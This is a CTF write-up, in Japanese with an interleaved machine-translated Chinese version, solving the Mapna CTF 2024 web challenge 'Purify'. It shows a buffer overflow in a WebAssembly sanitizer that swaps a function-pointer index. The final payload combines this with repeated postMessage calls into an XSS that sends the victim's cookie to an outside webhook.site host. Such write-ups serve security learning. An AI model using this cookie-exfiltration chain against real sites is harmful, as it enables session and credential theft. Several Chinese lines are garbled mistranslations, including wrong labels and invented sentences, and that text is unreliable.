あけましておめでとうございます。1/21から1/22にかけてASISが開催していたMapna CTF 2024に、BunkyoWesternsとして参加した。結果は1位で嬉しい。
祝你新年快乐。从1月21日到1月22日,ASIS举办的Mapna CTF 2024,作为BunkyoWesterns参加了会议。我对第一个结果很满意。
Web問は6問が出題されていたけれども、うち4問は私が取り掛かる前にSatokiさんがすでに解いていたし、1問は競技時間内に解ききれなかったしで、個人としてはPurifyという1問のみを解いた。
虽然有6道网络问题,但Satoki先生在我开始之前就已经解决了其中4道问题,其中1道问题在比赛时间内解决不了,所以我个人只解决了1道问题,Purify。
[Web 398] Purify (4 solves)
[Web 1998年:Purify (4件)
I think I downloaded the wrong DOMPurify.
我想我下载了错误的DOMPurify。Website: (URL その1) 网站:(URL链接1)
Admin bot: (URL その2)
Admin bot:(URL http://www.添付ファイル: purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz
支付宝:purify_206ec7c8d65c88cb617775a62bc5ab9bcfa7baa.txz
次のようなファイルが与えられている。nginxで app
下の静的コンテンツを配信する web
と、フラグ付きで web
にChromiumでアクセスしてくれる bot
という2つのコンテナから構成されている。
给出了如下的文件。它由两个容器组成,即 web
在nginx中发送 app
下的静态内容, bot
在带有标志的 web
中通过Chromium访问。
$ tree . . ├── purify │ ├── app │ │ ├── nginx.conf │ │ └── static │ │ ├── css │ │ │ └── style.css │ │ ├── index.html │ │ ├── js │ │ │ ├── purify.js │ │ │ └── script.js │ │ └── purify.wasm │ ├── bot │ │ ├── Dockerfile │ │ └── stuff │ │ ├── bot.js │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── static │ │ └── index.html │ ├── docker-compose.yaml │ └── purify.c └── purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz 8 directories, 15 files
bot/stuff/bot.js
は次の通り。いつものやつという感じで、flag
という名前のCookieを web
というドメインで設定した上で、ユーザの指定したURLにアクセスしてくれる。このURLについて、そのオリジンは http://web
に限られておらず、どんなURLでも通報すればアクセスしてくれる。
bot/stuff/bot.js
如下所示。像往常一样,在 web
域中设定名为 flag
的Cookie后,访问用户指定的URL。对于这个URL,它的起源并不局限于 http://web
,任何URL都可以被报告。
httpOnly
が false
であるから、web
でXSSを引き起こすことができれば、JavaScript側から document.cookie
にアクセスしてフラグが得られるとわかる。
因为 httpOnly
是 false
,所以如果 web
能够引起XSS的话,就可以从JavaScript侧访问 document.cookie
得到标志。
#!/usr/bin/env node const puppeteer = require('puppeteer') const flag = process.env.FLAG || 'MAPNA{test-flag}'; async function visit(url){ let browser; if(!/^https?:\/\//.test(url)){ return; } try{ browser = await puppeteer.launch({ pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--ignore-certificate-errors", ], executablePath: "/usr/bin/google-chrome-stable", headless: 'new' }); let page = await browser.newPage(); await page.setCookie({ name: 'flag', value: flag, domain: 'web', httpOnly: false, secure: false, sameSite: 'Lax' }); await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 }); await new Promise(r=>setTimeout(r,5000)); }catch(e){ console.log(e) } try{await browser.close();}catch(e){} process.exit(0) } visit(JSON.parse(process.argv[2]))
app/static/index.html
と app/static/js/script.js
はそれぞれ以下の通り。シンプルな構造で、postMessage
で送られてきたメッセージについて、”DOMPurify” によってエスケープ処理を施した上で innerHTML
で表示している。
app/static/index.html
和 app/static/js/script.js
分别如下:在简单的结构中,对于 postMessage
发送来的信息,通过“DOMPurify”进行转义处理后,用 innerHTML
表示。
この時点で気になる点としては、送られてきたメッセージは window.onmessage
で受け取っているけれども、ここで送信元のオリジンを検証していないということがある。たとえば攻撃者のWebページから iframe
や window.open
でこのページを開き、postMessage
でメッセージを送信しても、その内容を表示してくれる。もっとも、flag
というCookieには SameSite=Lax
が指定されているので、このCookieを送信させたければtop-level navigationとみなされる window.open
を使用する必要がある。iframe
ではダメだ。
此时需要注意的一点是,发送来的信息虽然在 window.onmessage
中接收,但是在这里没有验证发送源的起源。例如,如果您在攻击者的网页上使用 iframe
或 window.open
打开此页面,然后使用 postMessage
发送消息,它将显示其内容。但是,由于 flag
这个Cookie被指定为 SameSite=Lax
,所以如果想发送这个Cookie,就需要使用被认为是top-level navigation的 window.open
。#7不可能。
index.html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Purify</title> <script src="./js/purify.js"></script> <link href="./css/style.css" rel="stylesheet"/> </head> <body> </body> <div> <h2>Received messages:</h2> <ul id="list"> </ul> </div> <script src="./js/script.js"></script> </html>
// script.js window.onmessage = e=>{ list.innerHTML += ` <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li> ` } setTimeout(_=>window.postMessage("hi",'*'),1000)
もしこの “DOMPurify” が本物であればXSSへ持ち込むことは極めて難しいのだけれども、以下に示す app/static/js/purify.js
のコードを見るとわかるようにWebAssemblyで作られている。偽物だ。
如果这个“DOMPurify”是真品的话,很难带入XSS,但是从以下所示的 app/static/js/purify.js
的代码可以看出,是用WebAssembly制作的。是假的。
purify.wasm
側では少なくとも set_mode
, add_char
, get_char
という関数がエクスポートされている(JavaScript側から呼び出せる)とわかる。エスケープにあたっては、まず set_mode
でよくわからないが何かしらのモードをセットし、1文字ずつ add_char
でエスケープしたい文字列を送信し、そして再び1文字ずつ get_char
でエスケープ後の文字列を取得する。なお、get_char
はnull文字が返ってくるまで繰り返される。
purify.wasm
侧至少导出了 set_mode
, add_char
, get_char
的函数(可以从JavaScript侧调用)。转义时,首先设定 set_mode
中不太清楚的某种模式,发送希望用 add_char
每个字符转义的字符串,然后再次用 get_char
每个字符取得转义后的字符串。请注意, get_char
将重复直到返回null字符。
// purify.js async function init() { window.wasm = (await WebAssembly.instantiateStreaming( fetch('./purify.wasm') )).instance.exports } function sanitize(dirty) { wasm.set_mode(0) for(let i=0;i<dirty.length;i++){ wasm.add_char(dirty.charCodeAt(i)) } let c let clean = '' while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) } return clean } window.DOMPurify = { sanitize, version: '1.3.7' } init()
purify.wasm
に脆弱性はないだろうか。そのソースコードが purify.c
として次の通りに与えられている。先程エスケープ時に最初に呼び出されると言っていた set_mode
について、その引数が 1
であれば escape_attr
が、そうでなければ escape_tag
がという形で、何をエスケープするかのチェックに使われる関数が切り替えられるようだ。purify.js
では 0
を引数として与えているので、escape_tag
が選択される。
purify.wasm
是否有漏洞?其源代码作为 purify.c
给出如下。关于刚才在转义时最初被调用的 set_mode
,如果其自变量是 1
,则 escape_attr
,否则 escape_tag
以这样的形式,检查转义什么时使用的函数被切换。 purify.js
中,因为将 0
作为自变量给出,所以选择 escape_tag
。
add_char
中で is_dangerous
という、escape_tag
もしくは escape_attr
が入る関数ポインタが参照されている。escape_
から始まる名前から連想される処理とはやや違っており、これらは与えられた文字が <
や >
のような危険なものであれば 1
を、安全と思われるものであれば 0
を返すという関数になっている。add_char
は、これらの関数を使ってある文字が危険かどうか判定し、もし危険であれば hex_escape
で数値文字参照へ変換する。
add_char
中 is_dangerous
这个, escape_tag
或者 escape_attr
进入的函数指针被参照。与从 escape_
开始的名字联想到的处理稍有不同,这些函数是如果给出的文字是 <
和 >
这样危险的话,则返回 1
,如果被认为是安全的话,则返回 0
的函数。 add_char
使用这些函数来确定一个字符是否危险,如果危险,则使用 hex_escape
将其转换为数字字符引用。
globalVars
という構造体のグローバルな変数である g
に、エスケープ後の文字列(buf
)や、is_dangerous
が含まれている。これは len
と len_r
というメンバも持つけれども、それぞれ次に add_char
と get_char
が呼び出された際に buf
のどの位置を参照するかを意味する。g
が持つ buf
と len_r
を元に、get_char
はエスケープ後の文字を1文字ずつ返していく。
globalVars
结构体的全局变量 g
中包含转义后的字符串( buf
)和 is_dangerous
。这虽然也有 len
和 len_r
这样的成员,但是分别意味着 add_char
和 get_char
被调用时参照 buf
的哪个位置。基于 g
的 buf
和 len_r
, get_char
将返回转义后的字符。
// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o struct globalVars { unsigned int len; unsigned int len_r; char buf[0x1000]; int (*is_dangerous)(char c); } g; int escape_tag(char c){ if(c == '<' || c == '>'){ return 1; } else { return 0; } } int escape_attr(char c){ if(c == '\'' || c == '"'){ return 1; } else { return 0; } } int hex_escape(char c,char *dest){ dest[0] = '&'; dest[1] = '#'; dest[2] = 'x'; dest[3] = "0123456789abcdef"[(c&0xf0)>>4]; dest[4] = "0123456789abcdef"[c&0xf]; dest[5] = ';'; return 6; } void add_char(char c) { if(g.is_dangerous(c)){ g.len += hex_escape(c,&g.buf[g.len]); } else { g.buf[g.len++] = c; } } int get_char(char f) { if(g.len_r < g.len){ return g.buf[g.len_r++]; } return '\0'; } void set_mode(int mode) { if(mode == 1){ g.is_dangerous = escape_attr; } else { g.is_dangerous = escape_tag; } }
g.buf
のサイズは 0x1000
バイトしかない。add_char
では g.len
がそのサイズを超えているかのチェックがなされていないわけだから、バッファオーバーフロー(BOF)が発生する。メモリ上は g.buf
より後ろに g.is_dangerous
が位置しているので、これが指す関数を書き換えられそうに思う。
g.buf
的大小只有 0x1000
字节。 add_char
中 g.len
没有进行是否超过其大小的检查,所以会发生缓冲溢出(BOF)。内存上 g.is_dangerous
位于 g.buf
之后,所以我想可以改写它所指的函数。
そもそもwasmでは g.is_dangerous
の呼び出しがどのように実現されているか。Chromeの開発者ツールでSources → purify.wasm
から逆アセンブルし、add_char
としてエクスポートされている関数を見てみると、次のように call_indirect
という命令がそれにあたるとわかる。
在wasm中, g.is_dangerous
的调用是如何实现的?在Chrome的开发者工具中,从Sources purify.wasm
中进行逆汇编,从作为 add_char
导出的函数来看,如下所示, call_indirect
这一命令相当于该命令。
call_indirect
の後ろに (param i32) (result i32)
とあるけれども、これは1個の i32
を引数として受け取り、i32
を返り値として返す関数を呼び出すことを意味する。
call_indirect
后面有 (param i32) (result i32)
,这意味着将1个 i32
作为自变量接受,将 i32
作为返回值调用返回的函数。
では、ここでどうやって特定の関数を指定しているか。このwasmは以下のように table
セクションと elem
セクションを持っており、escape_attr
, escape_tag
のような関数を要素として持っている。call_indirect
はスタックから i32
の値を持ってきて、このテーブルの何番目の関数を指すかを意味するオフセットとして解釈し、その関数を呼び出す。g.is_dangerous
にはこのオフセットが入っている。
那么,我们是如何在这里指定一个特定的函数的呢?这个wasm有 table
和 elem
节,其中 escape_attr
和 escape_tag
等函数作为元素: call_indirect
从堆栈中获取 i32
的值,将其解释为偏移量,这意味着它指向该表中的第几个函数,然后调用该函数。 g.is_dangerous
中包含了这一偏移量。
sanitize
の最初の set
によって、g.is_dangerous
には最初 escape_tag
のオフセット、つまり 2
が入っている。これを 1
に置き換えることで escape_attr
が呼び出されるようにできるのではないか。escape_tag
は <
と >
をエスケープするのに対して、escape_tag
は "
と '
をエスケープするから、これでXSSに持ち込めるのではないか。
根据 sanitize
最初的 set
, g.is_dangerous
中包含最初 escape_tag
的偏移,即 2
。也许我们可以用 1
替换它来确保 escape_attr
被调用。 escape_tag
将转义 <
和 >
,而 escape_tag
将转义 "
和 '
,所以我们现在可以将它们带入XSS。
sanitize
の返り値を console.log
で出力するよう script.js
を変更した上で、以下のような内容のHTMLにアクセスする。すると、<
がエスケープされずに出力された。
在变更 script.js
以 console.log
输出 sanitize
的返回值的基础上,访问以下内容的HTML。然后, <
被输出而不是转义。
<script> let w = window.open('http://web'); setTimeout(() => { w.postMessage('A'.repeat(0x1000) + '\x01<', '*'); }, 100); </script>
しかしながら、まだ問題がある。g.is_dangerous
の型は i32
であり、上記のようにBOFを行ってしまうとメモリ上では 01 3c 00 00
に、つまり15361に書き換えられてしまう。上述の call_indirect
が参照するテーブルは3つしか要素がないので、そのままエスケープなしに出力させようとすると table index is out of bounds
というエラーが発生してしまう。
然而,仍然存在一些问题。 g.is_dangerous
的类型为 i32
,如上所述进行BOF的话,在存储器上就会改写为 01 3c 00 00
,即15361。由于上述 call_indirect
参照的表格只有3个要素,所以如果直接在没有转义的情况下输出的话,就会发生 table index is out of bounds
这样的错误。
'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>'
のように g.is_dangerous
を 01 00 00 00
で置き換えて、その後にHTMLタグを仕込めばよいのではないかと思うが、単純に置き換えるだけだとダメだ。というのも、sanitize
は get_char
がnull文字を返せばそこで文字列が終わっていると判断してしまうためだ。なんとかして 00
の部分を読み飛ばすことはできないか。
我想我们可以像 'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>'
那样用 01 00 00 00
替换 g.is_dangerous
,然后再添加HTML标签,但如果我们只是简单地替换它,那就不行了。这是因为,如果 sanitize
返回一个null字符,它将判断字符串在那里结束。我想知道你是否能把第5条的内容写下来。
let c let clean = '' while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) }
ふと、同時に postMessage
で複数のメッセージを送るとどうなるかと考えた。今回使われている偽DOMPurifyは同じ purify.wasm
のインスタンスを使いまわしており、かつ g
の初期化を行うような処理はない。複数回 sanitize
が呼び出されると、前回の続きから再開される。
我想知道如果我同时在 postMessage
上发送多条消息会发生什么。这次使用的伪DOMPurify使用了相同的 purify.wasm
实例,并且没有进行 g
初始化的处理。如果多次调用 sanitize
,则将从上一次调用中恢复。
g.len_r
の値も保持されているから、「前回の続きから再開される」というのは get_char
も含む。たとえnull文字が含まれていたとしても、3回呼び出せば g.is_dangerous
の範囲を抜け出して、それ以降のHTMLタグを含む文字列を出力させることもできる。なお、buf
に入っているのはすでにエスケープされたとみなされている文字列であり、後から wasm.set_mode(0)
によって g.is_dangerous
が escape_tag
を指す 2
に変えられてしまっても影響はない。
g.len_r
的值也被保留,所以“从上一次的继续开始”也包括 get_char
。即使包含null字符,只要调用3次,也可以脱离 g.is_dangerous
的范围,输出包含其后的HTML标签的字符串。另外,进入 buf
的是已经被认为被转义的字符串,之后根据 wasm.set_mode(0)
即使 g.is_dangerous
改变为指向 escape_tag
的 2
也没有影响。
まずBOFで is_dangerous
に escape_attr
を指す 1
を書き込み、ついでに外部へCookieを送信させるJSコードを実行するHTMLタグを、エスケープなしに buf
(といっても本来の buf
の範囲は超えているが…)へ載せさせる。その後で3回適当なメッセージを送ると、最後にHTMLタグを含んだ文字列が出力されるはずだ。
首先,在BOF中在 is_dangerous
中写入指示 escape_attr
的 1
,顺便将执行向外部发送Cookie的JS代码的HTML标签,在没有转义的情况下,放置在 buf
(虽说超过了原来的 buf
的范围…)上。在此之后,您发送了三次适当的消息,最后一个包含HTML标签的字符串应该打印出来。
<script> let w = window.open('http://web'); setTimeout(() => { w.postMessage("A".repeat(0x1000) + '\x01\x00\x00\x00' + '<img src=x onerror=location.assign([`http://webhook.site/…?`,document.cookie])>', '*'); w.postMessage('a', '*'); w.postMessage('a', '*'); w.postMessage('a', '*'); }, 100); </script>
これを通報するとフラグが飛んできた。 当我听到这个消息时,旗帜飞了起来。
MAPNA{e22e0bf86e0813d9d3c7ae3f8022e41d}